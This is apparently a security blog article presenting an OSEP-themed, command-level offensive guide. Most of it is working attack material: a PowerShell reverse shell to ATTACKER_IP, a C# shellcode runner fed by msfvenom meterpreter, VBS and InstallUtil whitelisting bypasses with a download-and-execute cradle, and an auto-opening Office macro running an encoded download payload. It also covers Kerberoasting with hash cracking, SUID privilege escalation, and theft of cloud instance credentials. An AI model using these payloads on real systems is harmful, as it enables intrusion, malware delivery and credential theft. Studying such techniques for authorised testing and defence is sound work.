Listen to this Post
Introduction:
The landscape of offensive security is perpetually evolving, demanding that cybersecurity professionals move beyond automated tools and embrace deep technical tradecraft. The OSEP (OffSec Experienced Penetration Tester) certification represents this pinnacle of adversary simulation, focusing on custom malware development, advanced evasion, and sophisticated post-exploitation. This article deconstructs the core techniques highlighted by a recent graduate, providing a verified command-level guide to modern penetration testing.
Learning Objectives:
- Understand and apply techniques for custom malware development and antivirus evasion.
- Execute advanced Active Directory attacks and Linux post-exploitation maneuvers.
- Develop and implement application whitelisting and PowerShell Constrained Language Mode bypasses.
You Should Know:
1. Custom PowerShell Malware with Obfuscation
PowerShell remains a powerful tool for attackers, especially when made to evade signature-based detection.
Obfuscated PowerShell Reverse Shell
$c = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",ATTACKER_PORT);$s = $c.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $d 2>&1 | Out-String );$sb2 = $sb + "PS " + (pwd).Path + "> ";$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$c.Close()
Step-by-step guide:
This script establishes a reverse TCP connection to an attacker-controlled machine. The key to evasion here is the lack of distinctive cmdlets and the use of a simple TCP socket. To use it, replace `ATTACKER_IP` and `ATTACKER_PORT` with your listener’s details. Execute it on the target. On your machine, use a listener like `nc -lvnp ATTACKER_PORT` to catch the shell. The obfuscation is minimal in this example, but in practice, you would further encode or encrypt the command string to bypass AV.
2. C Shellcode Runner for AV Bypass
Bypassing AV often requires moving to compiled languages and direct shellcode injection.
using System;
using System.Runtime.InteropServices;
public class ShellcodeRunner {
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public static void Main() {
// Replace with your shellcode (e.g., generated by msfvenom)
byte[] shellcode = new byte[/ shellcode bytes here /] { 0xfc, 0x48, 0x83, ... };
IntPtr funcAddr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x1000, 0x40);
Marshal.Copy(shellcode, 0, funcAddr, shellcode.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAddr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
Step-by-step guide:
This C program allocates memory with VirtualAlloc, copies your shellcode into that memory region, marks it as executable (PAGE_EXECUTE_READWRITE – 0x40), and executes it via CreateThread. Compile this with `csc.exe` on Windows. To generate the shellcode, use a tool like msfvenom: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=YOUR_IP LPORT=YOUR_PORT -f csharp. The effectiveness lies in the direct Windows API calls, which are less scrutinized than higher-level .NET functions.
3. Bypassing PowerShell Constrained Language Mode (CLM)
When AppLocker or WDAC enforces CLM, you must find creative ways to break out.
Method 1: Leveraging a trusted Microsoft-signed binary with a command-line argument that allows code execution.
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U /C="C:\Path\To\Your\Script.cs"
Method 2: Using a legacy .vbs script to execute PowerShell.
In a file named bypass.vbs
CreateObject("Wscript.Shell").Run "powershell -ep bypass -Command IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/script.ps1')", 0, False
Step-by-step guide:
Method 1 abuses the `InstallUtil.exe` utility, which is often whitelisted. You need a compiled C script. The `/U` flag triggers uninstall, and the `/C` flag allows you to specify a command, which can be used to execute a C file. Method 2 uses a VBScript file, which may not be blocked by application whitelisting policies, to launch a full-language PowerShell session (-ep bypass) and download a malicious script.
4. Advanced Active Directory: Kerberoasting Attack
Kerberoasting is a prevalent technique for attacking service accounts in an AD environment.
Using PowerView to extract service account hashes for offline cracking. Import-Module .\PowerView.ps1 Request service tickets for all SPNs (Service Principal Names) in the domain. Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat
Step-by-step guide:
This attack targets service accounts (those with a Service Principal Name). The `Get-DomainUser -SPN` cmdlet from PowerView queries AD for all users with an SPN. Piping this to `Get-DomainSPNTicket` requests a Kerberos ticket (TGS) for each service. The `-OutputFormat Hashcat` flag outputs the ticket’s encrypted portion in a format suitable for cracking with tools like Hashcat. Once you have the hash, you can attempt to crack it offline: hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt.
5. Linux Post-Exploitation: Privilege Escalation via SUID Binaries
Finding and exploiting misconfigured file permissions is a common Linux post-exploitation task.
Find all SUID binaries on the system. find / -perm -u=s -type f 2>/dev/null If you find an uncommon binary like a custom cp, check for known exploits. If you find a binary like /usr/bin/find, you can use it to escalate. /usr/bin/find . -exec /bin/sh -p \; -quit
Step-by-step guide:
SUID (Set owner User ID) binaries run with the privileges of their owner, often root. The `find` command locates all files with the SUID bit set. If you discover a binary that is not part of the standard distribution, research it for known vulnerabilities. For well-known binaries like find, vim, or nmap, you can use their inherent functionality to spawn a shell. The command `/usr/bin/find . -exec /bin/sh -p \; -quit` executes the `find` command, which then uses the `-exec` flag to run `/bin/sh` with the preserved privileges (-p), granting you a root shell.
6. Client-Side Attacks: Forging a Microsoft Office Macro
Exploiting user trust via malicious documents is a classic client-side attack vector.
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim str As String
str = "powershell -nop -w hidden -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AQQBUAFQAQQBDAEsARQBSAF8ASQBQAC8AcwBjAHIAaQBwAHQALgBwAHMAMQAnACkA"
Shell (Environ("COMSPEC") & " /c " & str)
End Sub
Step-by-step guide:
This VBA macro is designed to run automatically when the Word document is opened (AutoOpen or Document_Open). It executes a base64-encoded PowerShell command. The `Environ(“COMSPEC”)` gets the path to cmd.exe, which is then used to launch the PowerShell payload. The `-w hidden` flag in PowerShell attempts to hide the window. To use this, you would generate a base64-encoded PowerShell payload (e.g., msfvenom -p windows/x64/meterpreter/reverse_https LHOST=YOUR_IP LPORT=443 -f psh-cmd) and replace the `str` variable’s value.
7. Cloud Instance Metadata API Exploitation
In cloud environments, the Instance Metadata Service can be a goldmine for attackers who achieve code execution.
For AWS EC2 instances, query the metadata service for credentials. curl http://169.254.169.254/latest/meta-data/ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME-HERE For Azure VMs, the endpoint is different. curl -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
Step-by-step guide:
The Instance Metadata Service is accessible from within a cloud virtual machine and often contains temporary credentials for the IAM role attached to the instance. The first command lists available data categories. The second and third commands are used to discover and then retrieve the actual access keys, secret keys, and session tokens. These credentials can then be used with the AWS CLI or SDK to interact with other cloud resources, potentially leading to a full environment compromise if the role is overly permissive.
What Undercode Say:
- The Human Element is the Ultimate Bypass: The most sophisticated technical evasion can be rendered useless by a well-trained user, but the reverse is also true; the most advanced security controls can be undone by a single user action. Defense must be layered, combining robust technical controls with continuous security awareness training.
- The Arms Race is in the Code, Not the Config: The future of offensive security lies not just in using tools, but in writing and modifying them. The ability to reverse-engineer defensive software and craft custom payloads represents a significant and lasting advantage over defenders who rely solely on off-the-shelf security products and static configurations. This shift necessitates that blue teams incorporate more behavioral analytics and application allow-listing focused on behavior, not just hashes.
Prediction:
The techniques of custom malware development and reverse-engineering, as emphasized in the OSEP, will become the baseline for sophisticated threat actors. We will see a rapid decline in the effectiveness of signature-based AV and simple application whitelisting. The future battleground will be at the runtime level, with increased adoption of EDR (Endpoint Detection and Response) solutions, Next-Gen AV utilizing AI/ML for behavioral analysis, and hardware-enforced security features like VBS (Virtualization-Based Security). Consequently, attackers will pivot towards “living off the land” (LOLBins) with greater sophistication and develop malware that specifically targets and disables EDR processes and telemetry feeds, leading to a new era of stealthier, more persistent attacks that operate entirely in memory or abuse trusted system processes.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Robert Borbely – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
